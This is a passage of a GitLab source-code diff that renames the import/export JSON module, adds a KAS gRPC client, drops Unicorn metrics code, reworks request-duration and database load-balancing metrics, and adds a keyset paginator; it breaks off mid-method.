diff --git a/lib/gitlab/import_export/group/tree_restorer.rb b/lib/gitlab/import_export/group/tree_restorer.rb
index ea7de4cc896..19d707aaca5 100644
--- a/lib/gitlab/import_export/group/tree_restorer.rb
+++ b/lib/gitlab/import_export/group/tree_restorer.rb
@@ -118,7 +118,7 @@ module Gitlab
def relation_reader
strong_memoize(:relation_reader) do
- ImportExport::JSON::NdjsonReader.new(
+ ImportExport::Json::NdjsonReader.new(
File.join(shared.export_path, 'tree')
)
end
diff --git a/lib/gitlab/import_export/group/tree_saver.rb b/lib/gitlab/import_export/group/tree_saver.rb
index 0f588a55f9d..796b9258e57 100644
--- a/lib/gitlab/import_export/group/tree_saver.rb
+++ b/lib/gitlab/import_export/group/tree_saver.rb
@@ -42,7 +42,7 @@ module Gitlab
end
def serialize(group)
- ImportExport::JSON::StreamingSerializer.new(
+ ImportExport::Json::StreamingSerializer.new(
group,
group_tree,
json_writer,
@@ -64,7 +64,7 @@ module Gitlab
end
def json_writer
- @json_writer ||= ImportExport::JSON::NdjsonWriter.new(@full_path)
+ @json_writer ||= ImportExport::Json::NdjsonWriter.new(@full_path)
end
end
end
diff --git a/lib/gitlab/import_export/json/legacy_reader.rb b/lib/gitlab/import_export/json/legacy_reader.rb
index f29c0a44188..97b34088e3e 100644
--- a/lib/gitlab/import_export/json/legacy_reader.rb
+++ b/lib/gitlab/import_export/json/legacy_reader.rb
@@ -2,7 +2,7 @@
module Gitlab
module ImportExport
- module JSON
+ module Json
class LegacyReader
class File < LegacyReader
include Gitlab::Utils::StrongMemoize
diff --git a/lib/gitlab/import_export/json/legacy_writer.rb b/lib/gitlab/import_export/json/legacy_writer.rb
index 7be21410d26..e03ab9f7650 100644
--- a/lib/gitlab/import_export/json/legacy_writer.rb
+++ b/lib/gitlab/import_export/json/legacy_writer.rb
@@ -2,7 +2,7 @@
module Gitlab
module ImportExport
- module JSON
+ module Json
class LegacyWriter
include Gitlab::ImportExport::CommandLineUtil
diff --git a/lib/gitlab/import_export/json/ndjson_reader.rb b/lib/gitlab/import_export/json/ndjson_reader.rb
index 5c8edd485e5..4899bd3b0ee 100644
--- a/lib/gitlab/import_export/json/ndjson_reader.rb
+++ b/lib/gitlab/import_export/json/ndjson_reader.rb
@@ -2,7 +2,7 @@
module Gitlab
module ImportExport
- module JSON
+ module Json
class NdjsonReader
MAX_JSON_DOCUMENT_SIZE = 50.megabytes
diff --git a/lib/gitlab/import_export/json/ndjson_writer.rb b/lib/gitlab/import_export/json/ndjson_writer.rb
index e74fdd74049..e303ac6eefa 100644
--- a/lib/gitlab/import_export/json/ndjson_writer.rb
+++ b/lib/gitlab/import_export/json/ndjson_writer.rb
@@ -2,7 +2,7 @@
module Gitlab
module ImportExport
- module JSON
+ module Json
class NdjsonWriter
include Gitlab::ImportExport::CommandLineUtil
diff --git a/lib/gitlab/import_export/json/streaming_serializer.rb b/lib/gitlab/import_export/json/streaming_serializer.rb
index ec42c5e51c0..d1e013a151c 100644
--- a/lib/gitlab/import_export/json/streaming_serializer.rb
+++ b/lib/gitlab/import_export/json/streaming_serializer.rb
@@ -2,7 +2,7 @@
module Gitlab
module ImportExport
- module JSON
+ module Json
class StreamingSerializer
include Gitlab::ImportExport::CommandLineUtil
diff --git a/lib/gitlab/import_export/legacy_relation_tree_saver.rb b/lib/gitlab/import_export/legacy_relation_tree_saver.rb
index f8b8b74ffd7..c6b961ea210 100644
--- a/lib/gitlab/import_export/legacy_relation_tree_saver.rb
+++ b/lib/gitlab/import_export/legacy_relation_tree_saver.rb
@@ -22,7 +22,7 @@ module Gitlab
private
def batch_size(exportable)
- Gitlab::ImportExport::JSON::StreamingSerializer.batch_size(exportable)
+ Gitlab::ImportExport::Json::StreamingSerializer.batch_size(exportable)
end
end
end
diff --git a/lib/gitlab/import_export/project/tree_restorer.rb b/lib/gitlab/import_export/project/tree_restorer.rb
index 113502b4e3c..d8992061524 100644
--- a/lib/gitlab/import_export/project/tree_restorer.rb
+++ b/lib/gitlab/import_export/project/tree_restorer.rb
@@ -56,13 +56,13 @@ module Gitlab
def ndjson_relation_reader
return unless Feature.enabled?(:project_import_ndjson, project.namespace, default_enabled: true)
- ImportExport::JSON::NdjsonReader.new(
+ ImportExport::Json::NdjsonReader.new(
File.join(shared.export_path, 'tree')
)
end
def legacy_relation_reader
- ImportExport::JSON::LegacyReader::File.new(
+ ImportExport::Json::LegacyReader::File.new(
File.join(shared.export_path, 'project.json'),
relation_names: reader.project_relation_names,
allowed_path: importable_path
diff --git a/lib/gitlab/import_export/project/tree_saver.rb b/lib/gitlab/import_export/project/tree_saver.rb
index 16012f3c0c0..1f0fa249390 100644
--- a/lib/gitlab/import_export/project/tree_saver.rb
+++ b/lib/gitlab/import_export/project/tree_saver.rb
@@ -14,7 +14,7 @@ module Gitlab
end
def save
- ImportExport::JSON::StreamingSerializer.new(
+ ImportExport::Json::StreamingSerializer.new(
exportable,
reader.project_tree,
json_writer,
@@ -56,10 +56,10 @@ module Gitlab
@json_writer ||= begin
if ::Feature.enabled?(:project_export_as_ndjson, @project.namespace, default_enabled: true)
full_path = File.join(@shared.export_path, 'tree')
- Gitlab::ImportExport::JSON::NdjsonWriter.new(full_path)
+ Gitlab::ImportExport::Json::NdjsonWriter.new(full_path)
else
full_path = File.join(@shared.export_path, ImportExport.project_filename)
- Gitlab::ImportExport::JSON::LegacyWriter.new(full_path, allowed_path: 'project')
+ Gitlab::ImportExport::Json::LegacyWriter.new(full_path, allowed_path: 'project')
end
end
end
diff --git a/lib/gitlab/import_export/shared.rb b/lib/gitlab/import_export/shared.rb
index f295ab38de0..5cb1c1f8981 100644
--- a/lib/gitlab/import_export/shared.rb
+++ b/lib/gitlab/import_export/shared.rb
@@ -88,7 +88,7 @@ module Gitlab
when 'Project'
@exportable.disk_path
when 'Group'
- @exportable.full_path
+ Storage::Hashed.new(@exportable, prefix: Storage::Hashed::GROUP_REPOSITORY_PATH_PREFIX).disk_path
else
raise Gitlab::ImportExport::Error, "Unsupported Exportable Type #{@exportable&.class}"
end
diff --git a/lib/gitlab/instrumentation/redis.rb b/lib/gitlab/instrumentation/redis.rb
index d1ac6a55fb7..ab0e56adc32 100644
--- a/lib/gitlab/instrumentation/redis.rb
+++ b/lib/gitlab/instrumentation/redis.rb
@@ -8,8 +8,9 @@ module Gitlab
Cache = Class.new(RedisBase).enable_redis_cluster_validation
Queues = Class.new(RedisBase)
SharedState = Class.new(RedisBase).enable_redis_cluster_validation
+ TraceChunks = Class.new(RedisBase).enable_redis_cluster_validation
- STORAGES = [ActionCable, Cache, Queues, SharedState].freeze
+ STORAGES = [ActionCable, Cache, Queues, SharedState, TraceChunks].freeze
# Milliseconds represented in seconds (from 1 millisecond to 2 seconds).
QUERY_TIME_BUCKETS = [0.001, 0.0025, 0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2].freeze
@@ -21,10 +22,6 @@ module Gitlab
nil
end
- def known_payload_keys
- super + STORAGES.flat_map(&:known_payload_keys)
- end
-
def payload
super.merge(*STORAGES.flat_map(&:payload))
end
diff --git a/lib/gitlab/instrumentation/redis_payload.rb b/lib/gitlab/instrumentation/redis_payload.rb
index 69aafffd124..86a6525c8d0 100644
--- a/lib/gitlab/instrumentation/redis_payload.rb
+++ b/lib/gitlab/instrumentation/redis_payload.rb
@@ -5,12 +5,6 @@ module Gitlab
module RedisPayload
include ::Gitlab::Utils::StrongMemoize
- # Fetches payload keys from the lazy payload (this avoids
- # unnecessary processing of the values).
- def known_payload_keys
- to_lazy_payload.keys
- end
-
def payload
to_lazy_payload.transform_values do |value|
result = value.call
diff --git a/lib/gitlab/integrations/sti_type.rb b/lib/gitlab/integrations/sti_type.rb
index e6ea98e6d66..9d7254f49f7 100644
--- a/lib/gitlab/integrations/sti_type.rb
+++ b/lib/gitlab/integrations/sti_type.rb
@@ -4,7 +4,10 @@ module Gitlab
module Integrations
class StiType < ActiveRecord::Type::String
NAMESPACED_INTEGRATIONS = Set.new(%w(
- Asana Assembla Bamboo Campfire Confluence Datadog EmailsOnPush
+ Asana Assembla Bamboo Bugzilla Buildkite Campfire Confluence CustomIssueTracker Datadog
+ Discord DroneCi EmailsOnPush Ewm ExternalWiki Flowdock HangoutsChat Irker
+ Jenkins Jira Mattermost MattermostSlashCommands MicrosoftTeams MockCi Packagist PipelinesEmail Pivotaltracker
+ Pushover Redmine Slack SlackSlashCommands Teamcity UnifyCircuit Youtrack WebexTeams
)).freeze
def cast(value)
@@ -29,12 +32,16 @@ module Gitlab
private
+ def namespaced_integrations
+ NAMESPACED_INTEGRATIONS
+ end
+
def new_cast(value)
value = prepare_value(value)
return unless value
stripped_name = value.delete_suffix('Service')
- return unless NAMESPACED_INTEGRATIONS.include?(stripped_name)
+ return unless namespaced_integrations.include?(stripped_name)
"Integrations::#{stripped_name}"
end
@@ -55,3 +62,5 @@ module Gitlab
end
end
end
+
+Gitlab::Integrations::StiType.prepend_mod
diff --git a/lib/gitlab/json.rb b/lib/gitlab/json.rb
index 561cd4509b1..767ce310b5a 100644
--- a/lib/gitlab/json.rb
+++ b/lib/gitlab/json.rb
@@ -242,7 +242,7 @@ module Gitlab
def self.encode(object, limit: 25.megabytes)
return ::Gitlab::Json.dump(object) unless Feature.enabled?(:json_limited_encoder)
- buffer = []
+ buffer = StringIO.new
buffer_size = 0
::Yajl::Encoder.encode(object) do |data_chunk|
@@ -254,7 +254,7 @@ module Gitlab
buffer_size += chunk_size
end
- buffer.join('')
+ buffer.string
end
end
end
diff --git a/lib/gitlab/kas.rb b/lib/gitlab/kas.rb
index 7b2c792ebca..a4663314b3b 100644
--- a/lib/gitlab/kas.rb
+++ b/lib/gitlab/kas.rb
@@ -45,6 +45,13 @@ module Gitlab
Gitlab.config.gitlab_kas.external_url
end
+ # Return GitLab KAS internal_url
+ #
+ # @return [String] internal_url
+ def internal_url
+ Gitlab.config.gitlab_kas.internal_url
+ end
+
# Return whether GitLab KAS is enabled
#
# @return [Boolean] external_url
diff --git a/lib/gitlab/kas/client.rb b/lib/gitlab/kas/client.rb
new file mode 100644
index 00000000000..6675903e692
--- /dev/null
+++ b/lib/gitlab/kas/client.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kas
+ class Client
+ TIMEOUT = 2.seconds.freeze
+ JWT_AUDIENCE = 'gitlab-kas'
+
+ STUB_CLASSES = {
+ configuration_project: Gitlab::Agent::ConfigurationProject::Rpc::ConfigurationProject::Stub
+ }.freeze
+
+ ConfigurationError = Class.new(StandardError)
+
+ def initialize
+ raise ConfigurationError, 'GitLab KAS is not enabled' unless Gitlab::Kas.enabled?
+ raise ConfigurationError, 'KAS internal URL is not configured' unless Gitlab::Kas.internal_url.present?
+ end
+
+ def list_agent_config_files(project:)
+ request = Gitlab::Agent::ConfigurationProject::Rpc::ListAgentConfigFilesRequest.new(
+ repository: repository(project),
+ gitaly_address: gitaly_address(project)
+ )
+
+ stub_for(:configuration_project)
+ .list_agent_config_files(request, metadata: metadata)
+ .config_files
+ .to_a
+ end
+
+ private
+
+ def stub_for(service)
+ @stubs ||= {}
+ @stubs[service] ||= STUB_CLASSES.fetch(service).new(kas_endpoint_url, credentials, timeout: TIMEOUT)
+ end
+
+ def repository(project)
+ gitaly_repository = project.repository.gitaly_repository
+
+ Gitlab::Agent::Modserver::Repository.new(gitaly_repository.to_h)
+ end
+
+ def gitaly_address(project)
+ connection_data = Gitlab::GitalyClient.connection_data(project.repository_storage)
+
+ Gitlab::Agent::Modserver::GitalyAddress.new(connection_data)
+ end
+
+ def kas_endpoint_url
+ Gitlab::Kas.internal_url.delete_prefix('grpc://')
+ end
+
+ def credentials
+ if Rails.env.test? || Rails.env.development?
+ :this_channel_is_insecure
+ else
+ GRPC::Core::ChannelCredentials.new
+ end
+ end
+
+ def metadata
+ { 'authorization' => "bearer #{token}" }
+ end
+
+ def token
+ JSONWebToken::HMACToken.new(Gitlab::Kas.secret).tap do |token|
+ token.issuer = Settings.gitlab.host
+ token.audience = JWT_AUDIENCE
+ end.encoded
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/helm/parsers/list_v2.rb b/lib/gitlab/kubernetes/helm/parsers/list_v2.rb
deleted file mode 100644
index c5c5d198a6c..00000000000
--- a/lib/gitlab/kubernetes/helm/parsers/list_v2.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Kubernetes
- module Helm
- module Parsers
- # Parses Helm v2 list (JSON) output
- class ListV2
- ParserError = Class.new(StandardError)
-
- attr_reader :contents, :json
-
- def initialize(contents)
- @contents = contents
- @json = Gitlab::Json.parse(contents)
- rescue JSON::ParserError => e
- raise ParserError, e.message
- end
-
- def releases
- @releases = helm_releases
- end
-
- private
-
- def helm_releases
- helm_releases = json['Releases'] || []
-
- raise ParserError, 'Invalid format for Releases' unless helm_releases.all? { |item| item.is_a?(Hash) }
-
- helm_releases
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/markdown_cache/field_data.rb b/lib/gitlab/markdown_cache/field_data.rb
index 14622c0f186..75364570640 100644
--- a/lib/gitlab/markdown_cache/field_data.rb
+++ b/lib/gitlab/markdown_cache/field_data.rb
@@ -9,7 +9,7 @@ module Gitlab
@data = {}
end
- delegate :[], :[]=, to: :@data
+ delegate :[], :[]=, :key?, to: :@data
def markdown_fields
@data.keys
diff --git a/lib/gitlab/metrics.rb b/lib/gitlab/metrics.rb
index 7bd55cce363..4c4942c12d5 100644
--- a/lib/gitlab/metrics.rb
+++ b/lib/gitlab/metrics.rb
@@ -16,6 +16,10 @@ module Gitlab
@error
end
+ def self.record_duration_for_status?(status)
+ status.to_i.between?(200, 499)
+ end
+
# Tracks an event.
#
# See `Gitlab::Metrics::Transaction#add_event` for more details.
diff --git a/lib/gitlab/metrics/exporter/web_exporter.rb b/lib/gitlab/metrics/exporter/web_exporter.rb
index 558454eaa1c..756e6b0641a 100644
--- a/lib/gitlab/metrics/exporter/web_exporter.rb
+++ b/lib/gitlab/metrics/exporter/web_exporter.rb
@@ -30,8 +30,7 @@ module Gitlab
# application: https://gitlab.com/gitlab-org/gitlab/issues/35343
self.readiness_checks = [
WebExporter::ExporterCheck.new(self),
- Gitlab::HealthChecks::PumaCheck,
- Gitlab::HealthChecks::UnicornCheck
+ Gitlab::HealthChecks::PumaCheck
]
end
diff --git a/lib/gitlab/metrics/requests_rack_middleware.rb b/lib/gitlab/metrics/requests_rack_middleware.rb
index 19a835b9fc4..b99261b5c4d 100644
--- a/lib/gitlab/metrics/requests_rack_middleware.rb
+++ b/lib/gitlab/metrics/requests_rack_middleware.rb
@@ -15,7 +15,6 @@ module Gitlab
HEALTH_ENDPOINT = /^\/-\/(liveness|readiness|health|metrics)\/?$/.freeze
- FEATURE_CATEGORY_HEADER = 'X-Gitlab-Feature-Category'
FEATURE_CATEGORY_DEFAULT = 'unknown'
# These were the top 5 categories at a point in time, chosen as a
@@ -67,18 +66,16 @@ module Gitlab
def call(env)
method = env['REQUEST_METHOD'].downcase
method = 'INVALID' unless HTTP_METHODS.key?(method)
- started = Time.now.to_f
+ started = Gitlab::Metrics::System.monotonic_time
health_endpoint = health_endpoint?(env['PATH_INFO'])
status = 'undefined'
- feature_category = nil
begin
status, headers, body = @app.call(env)
- elapsed = Time.now.to_f - started
- feature_category = headers&.fetch(FEATURE_CATEGORY_HEADER, nil)
+ elapsed = Gitlab::Metrics::System.monotonic_time - started
- unless health_endpoint
+ if !health_endpoint && Gitlab::Metrics.record_duration_for_status?(status)
RequestsRackMiddleware.http_request_duration_seconds.observe({ method: method }, elapsed)
end
@@ -104,6 +101,10 @@ module Gitlab
HEALTH_ENDPOINT.match?(CGI.unescape(path))
end
+
+ def feature_category
+ ::Gitlab::ApplicationContext.current_context_attribute(:feature_category)
+ end
end
end
end
diff --git a/lib/gitlab/metrics/samplers/database_sampler.rb b/lib/gitlab/metrics/samplers/database_sampler.rb
index 0a0ac6c5386..5d7f434b660 100644
--- a/lib/gitlab/metrics/samplers/database_sampler.rb
+++ b/lib/gitlab/metrics/samplers/database_sampler.rb
@@ -45,8 +45,8 @@ module Gitlab
def labels_for_class(klass)
{
- host: klass.connection_config[:host],
- port: klass.connection_config[:port],
+ host: klass.connection_db_config.host,
+ port: klass.connection_db_config.configuration_hash[:port],
class: klass.to_s
}
end
diff --git a/lib/gitlab/metrics/samplers/ruby_sampler.rb b/lib/gitlab/metrics/samplers/ruby_sampler.rb
index 3d29d38fa1f..b1c5e9800da 100644
--- a/lib/gitlab/metrics/samplers/ruby_sampler.rb
+++ b/lib/gitlab/metrics/samplers/ruby_sampler.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-require 'prometheus/client/support/unicorn'
-
module Gitlab
module Metrics
module Samplers
diff --git a/lib/gitlab/metrics/samplers/unicorn_sampler.rb b/lib/gitlab/metrics/samplers/unicorn_sampler.rb
deleted file mode 100644
index 2fa324f3fea..00000000000
--- a/lib/gitlab/metrics/samplers/unicorn_sampler.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Metrics
- module Samplers
- class UnicornSampler < BaseSampler
- DEFAULT_SAMPLING_INTERVAL_SECONDS = 5
-
- def metrics
- @metrics ||= init_metrics
- end
-
- def init_metrics
- {
- unicorn_active_connections: ::Gitlab::Metrics.gauge(:unicorn_active_connections, 'Unicorn active connections', {}, :max),
- unicorn_queued_connections: ::Gitlab::Metrics.gauge(:unicorn_queued_connections, 'Unicorn queued connections', {}, :max),
- unicorn_workers: ::Gitlab::Metrics.gauge(:unicorn_workers, 'Unicorn workers')
- }
- end
-
- def enabled?
- # Raindrops::Linux.tcp_listener_stats is only present on Linux
- unicorn_with_listeners? && Raindrops::Linux.respond_to?(:tcp_listener_stats)
- end
-
- def sample
- Raindrops::Linux.tcp_listener_stats(tcp_listeners).each do |addr, stats|
- set_unicorn_connection_metrics('tcp', addr, stats)
- end
- Raindrops::Linux.unix_listener_stats(unix_listeners).each do |addr, stats|
- set_unicorn_connection_metrics('unix', addr, stats)
- end
-
- metrics[:unicorn_workers].set({}, unicorn_workers_count)
- end
-
- private
-
- def tcp_listeners
- @tcp_listeners ||= Unicorn.listener_names.grep(%r{\A[^/]+:\d+\z})
- end
-
- def set_unicorn_connection_metrics(type, addr, stats)
- labels = { socket_type: type, socket_address: addr }
-
- metrics[:unicorn_active_connections].set(labels, stats.active)
- metrics[:unicorn_queued_connections].set(labels, stats.queued)
- end
-
- def unix_listeners
- @unix_listeners ||= Unicorn.listener_names - tcp_listeners
- end
-
- def unicorn_with_listeners?
- defined?(Unicorn) && Unicorn.listener_names.any?
- end
-
- def unicorn_workers_count
- http_servers.sum(&:worker_processes)
- end
-
- # Traversal of ObjectSpace is expensive, on fully loaded application
- # it takes around 80ms. The instances of HttpServers are not a subject
- # to change so we can cache the list of servers.
- def http_servers
- return [] unless Gitlab::Runtime.unicorn?
-
- @http_servers ||= ObjectSpace.each_object(::Unicorn::HttpServer).to_a
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/metrics/subscribers/active_record.rb b/lib/gitlab/metrics/subscribers/active_record.rb
index 3db3317e833..9f7884e1364 100644
--- a/lib/gitlab/metrics/subscribers/active_record.rb
+++ b/lib/gitlab/metrics/subscribers/active_record.rb
@@ -14,6 +14,14 @@ module Gitlab
SQL_DURATION_BUCKET = [0.05, 0.1, 0.25].freeze
TRANSACTION_DURATION_BUCKET = [0.1, 0.25, 1].freeze
+ DB_LOAD_BALANCING_COUNTERS = %i{
+ db_replica_count db_replica_cached_count db_replica_wal_count
+ db_primary_count db_primary_cached_count db_primary_wal_count
+ }.freeze
+ DB_LOAD_BALANCING_DURATIONS = %i{db_primary_duration_s db_replica_duration_s}.freeze
+
+ SQL_WAL_LOCATION_REGEX = /(pg_current_wal_insert_lsn\(\)::text|pg_last_wal_replay_lsn\(\)::text)/.freeze
+
# This event is published from ActiveRecordBaseTransactionMetrics and
# used to record a database transaction duration when calling
# ActiveRecord::Base.transaction {} block.
@@ -39,23 +47,56 @@ module Gitlab
observe(:gitlab_sql_duration_seconds, event) do
buckets SQL_DURATION_BUCKET
end
+
+ if ::Gitlab::Database::LoadBalancing.enable?
+ db_role = ::Gitlab::Database::LoadBalancing.db_role_for_connection(payload[:connection])
+ return if db_role.blank?
+
+ increment_db_role_counters(db_role, payload)
+ observe_db_role_duration(db_role, event)
+ end
end
def self.db_counter_payload
return {} unless Gitlab::SafeRequestStore.active?
- payload = {}
- DB_COUNTERS.each do |counter|
- payload[counter] = Gitlab::SafeRequestStore[counter].to_i
+ {}.tap do |payload|
+ DB_COUNTERS.each do |counter|
+ payload[counter] = Gitlab::SafeRequestStore[counter].to_i
+ end
+
+ if ::Gitlab::SafeRequestStore.active? && ::Gitlab::Database::LoadBalancing.enable?
+ DB_LOAD_BALANCING_COUNTERS.each do |counter|
+ payload[counter] = ::Gitlab::SafeRequestStore[counter].to_i
+ end
+ DB_LOAD_BALANCING_DURATIONS.each do |duration|
+ payload[duration] = ::Gitlab::SafeRequestStore[duration].to_f.round(3)
+ end
+ end
end
- payload
end
- def self.known_payload_keys
- DB_COUNTERS
+ private
+
+ def wal_command?(payload)
+ payload[:sql].match(SQL_WAL_LOCATION_REGEX)
+ end
+
+ def increment_db_role_counters(db_role, payload)
+ increment("db_#{db_role}_count".to_sym)
+ increment("db_#{db_role}_cached_count".to_sym) if cached_query?(payload)
+ increment("db_#{db_role}_wal_count".to_sym) if !cached_query?(payload) && wal_command?(payload)
end
- private
+ def observe_db_role_duration(db_role, event)
+ observe("gitlab_sql_#{db_role}_duration_seconds".to_sym, event) do
+ buckets ::Gitlab::Metrics::Subscribers::ActiveRecord::SQL_DURATION_BUCKET
+ end
+
+ duration = event.duration / 1000.0
+ duration_key = "db_#{db_role}_duration_s".to_sym
+ ::Gitlab::SafeRequestStore[duration_key] = (::Gitlab::SafeRequestStore[duration_key].presence || 0) + duration
+ end
def ignored_query?(payload)
payload[:name] == 'SCHEMA' || IGNORABLE_SQL.include?(payload[:sql])
@@ -86,5 +127,3 @@ module Gitlab
end
end
end
-
-Gitlab::Metrics::Subscribers::ActiveRecord.prepend_mod_with('Gitlab::Metrics::Subscribers::ActiveRecord')
diff --git a/lib/gitlab/metrics/subscribers/external_http.rb b/lib/gitlab/metrics/subscribers/external_http.rb
index 0df64f2897e..60a1b084345 100644
--- a/lib/gitlab/metrics/subscribers/external_http.rb
+++ b/lib/gitlab/metrics/subscribers/external_http.rb
@@ -14,8 +14,6 @@ module Gitlab
COUNTER = :external_http_count
DURATION = :external_http_duration_s
- KNOWN_PAYLOAD_KEYS = [COUNTER, DURATION].freeze
-
def self.detail_store
::Gitlab::SafeRequestStore[DETAIL_STORE] ||= []
end
diff --git a/lib/gitlab/metrics/transaction.rb b/lib/gitlab/metrics/transaction.rb
index 3ebafb5c5e4..97cc8bed564 100644
--- a/lib/gitlab/metrics/transaction.rb
+++ b/lib/gitlab/metrics/transaction.rb
@@ -13,8 +13,6 @@ module Gitlab
THREAD_KEY = :_gitlab_metrics_transaction
- SMALL_BUCKETS = [0.1, 0.25, 0.5, 1.0, 2.5, 5.0].freeze
-
# The series to store events (e.g. Git pushes) in.
EVENT_SERIES = 'events'
@@ -39,29 +37,10 @@ module Gitlab
def initialize
@methods = {}
-
- @started_at = nil
- @finished_at = nil
- end
-
- def duration
- @finished_at ? (@finished_at - @started_at) : 0.0
end
def run
- Thread.current[THREAD_KEY] = self
-
- @started_at = System.monotonic_time
-
- yield
- ensure
- @finished_at = System.monotonic_time
-
- observe(:gitlab_transaction_duration_seconds, duration) do
- buckets SMALL_BUCKETS
- end
-
- Thread.current[THREAD_KEY] = nil
+ raise NotImplementedError
end
# Tracks a business level event
diff --git a/lib/gitlab/metrics/web_transaction.rb b/lib/gitlab/metrics/web_transaction.rb
index ee9e6f449d3..3ebfcc43b0b 100644
--- a/lib/gitlab/metrics/web_transaction.rb
+++ b/lib/gitlab/metrics/web_transaction.rb
@@ -6,12 +6,29 @@ module Gitlab
CONTROLLER_KEY = 'action_controller.instance'
ENDPOINT_KEY = 'api.endpoint'
ALLOWED_SUFFIXES = Set.new(%w[json js atom rss xml zip])
+ SMALL_BUCKETS = [0.1, 0.25, 0.5, 1.0, 2.5, 5.0].freeze
def initialize(env)
super()
@env = env
end
+ def run
+ Thread.current[THREAD_KEY] = self
+
+ started_at = System.monotonic_time
+
+ status, _, _ = retval = yield
+
+ finished_at = System.monotonic_time
+ duration = finished_at - started_at
+ record_duration_if_needed(status, duration)
+
+ retval
+ ensure
+ Thread.current[THREAD_KEY] = nil
+ end
+
def labels
return @labels if @labels
@@ -27,6 +44,14 @@ module Gitlab
private
+ def record_duration_if_needed(status, duration)
+ return unless Gitlab::Metrics.record_duration_for_status?(status)
+
+ observe(:gitlab_transaction_duration_seconds, duration) do
+ buckets SMALL_BUCKETS
+ end
+ end
+
def labels_from_controller
controller = @env[CONTROLLER_KEY]
diff --git a/lib/gitlab/nav/top_nav_menu_item.rb b/lib/gitlab/nav/top_nav_menu_item.rb
index ee11f1f4560..4cb38e6bb9b 100644
--- a/lib/gitlab/nav/top_nav_menu_item.rb
+++ b/lib/gitlab/nav/top_nav_menu_item.rb
@@ -8,17 +8,17 @@ module Gitlab
# this is already :/. We could also take a hash and manually check every
# entry, but it's much more maintainable to do rely on native Ruby.
# rubocop: disable Metrics/ParameterLists
- def self.build(id:, title:, active: false, icon: '', href: '', method: nil, view: '', css_class: '', data: {})
+ def self.build(id:, title:, active: false, icon: '', href: '', view: '', css_class: nil, data: nil, emoji: nil)
{
id: id,
title: title,
active: active,
icon: icon,
href: href,
- method: method,
view: view.to_s,
css_class: css_class,
- data: data
+ data: data || { qa_selector: 'menu_item_link', qa_title: title },
+ emoji: emoji
}
end
# rubocop: enable Metrics/ParameterLists
diff --git a/lib/gitlab/nav/top_nav_view_model_builder.rb b/lib/gitlab/nav/top_nav_view_model_builder.rb
index 60f5b267071..11ca6a3a3ba 100644
--- a/lib/gitlab/nav/top_nav_view_model_builder.rb
+++ b/lib/gitlab/nav/top_nav_view_model_builder.rb
@@ -6,9 +6,34 @@ module Gitlab
def initialize
@menu_builder = ::Gitlab::Nav::TopNavMenuBuilder.new
@views = {}
+ @shortcuts = []
end
- delegate :add_primary_menu_item, :add_secondary_menu_item, to: :@menu_builder
+ # Using delegate hides the stacktrace for some errors, so we choose to be explicit.
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62047#note_579031091
+ def add_primary_menu_item(**args)
+ @menu_builder.add_primary_menu_item(**args)
+ end
+
+ def add_secondary_menu_item(**args)
+ @menu_builder.add_secondary_menu_item(**args)
+ end
+
+ def add_shortcut(**args)
+ item = ::Gitlab::Nav::TopNavMenuItem.build(**args)
+
+ @shortcuts.push(item)
+ end
+
+ def add_primary_menu_item_with_shortcut(shortcut_class:, shortcut_href: nil, **args)
+ add_primary_menu_item(**args)
+ add_shortcut(
+ id: "#{args.fetch(:id)}-shortcut",
+ title: args.fetch(:title),
+ href: shortcut_href || args.fetch(:href),
+ css_class: shortcut_class
+ )
+ end
def add_view(name, props)
@views[name] = props
@@ -19,6 +44,7 @@ module Gitlab
menu.merge({
views: @views,
+ shortcuts: @shortcuts,
activeTitle: _('Menu')
})
end
diff --git a/lib/gitlab/pagination/keyset/header_builder.rb b/lib/gitlab/pagination/keyset/header_builder.rb
index 69c468207f6..888d93d5fe3 100644
--- a/lib/gitlab/pagination/keyset/header_builder.rb
+++ b/lib/gitlab/pagination/keyset/header_builder.rb
@@ -13,7 +13,6 @@ module Gitlab
def add_next_page_header(query_params)
link = next_page_link(page_href(query_params))
- header('Links', link)
header('Link', link)
end
diff --git a/lib/gitlab/pagination/keyset/paginator.rb b/lib/gitlab/pagination/keyset/paginator.rb
new file mode 100644
index 00000000000..2ec4472fcd6
--- /dev/null
+++ b/lib/gitlab/pagination/keyset/paginator.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Pagination
+ module Keyset
+ class Paginator
+ include Enumerable
+
+ module Base64CursorConverter
+ def self.dump(cursor_attributes)
+ Base64.urlsafe_encode64(Gitlab::Json.dump(cursor_attributes))
+ end
+
+ def self.parse(cursor)
+ Gitlab::Json.parse(Base64.urlsafe_decode64(cursor)).with_indifferent_access
+ end
+ end
+
+ FORWARD_DIRECTION = 'n'
+ BACKWARD_DIRECTION = 'p'
+
+ UnsupportedScopeOrder = Class.new(StandardError)
+
+ # scope - ActiveRecord::Relation object with order by clause
+ # cursor - Encoded cursor attributes as String. Empty value will requests the first page.
+ # per_page - Number of items per page.
+ # cursor_converter - Object that serializes and de-serializes the cursor attributes. Implements dump and parse methods.
+ # direction_key - Symbol that will be the hash key of the direction within the cursor. (default: _kd => keyset direction)
+ def initialize(scope:, cursor: nil, per_page: 20, cursor_converter: Base64CursorConverter, direction_key: :_kd)
+ @keyset_scope = build_scope(scope)
+ @order = Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(@keyset_scope)
+ @per_page = per_page
+ @cursor_converter = cursor_converter
+ @direction_key = direction_key
+ @has_another_page = false
+ @at_last_page = false
+ @at_first_page = false
+ @cursor_attributes = decode_cursor_attributes(cursor)
+
+ set_pagination_helper_flags!
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def records
+ @records ||= begin
+ items = if paginate_backward?
+ reversed_order
+ .apply_cursor_conditions(keyset_scope, cursor_attributes)
+ .reorder(reversed_order)
+ .limit(per_page_plus_one)
+ .to_a
+ else
+ order
+ .apply_cursor_conditions(keyset_scope, cursor_attributes)
+ .limit(per_page_plus_one)
+ .to_a
+ end
+
+ @has_another_page = items.size == per_page_plus_one
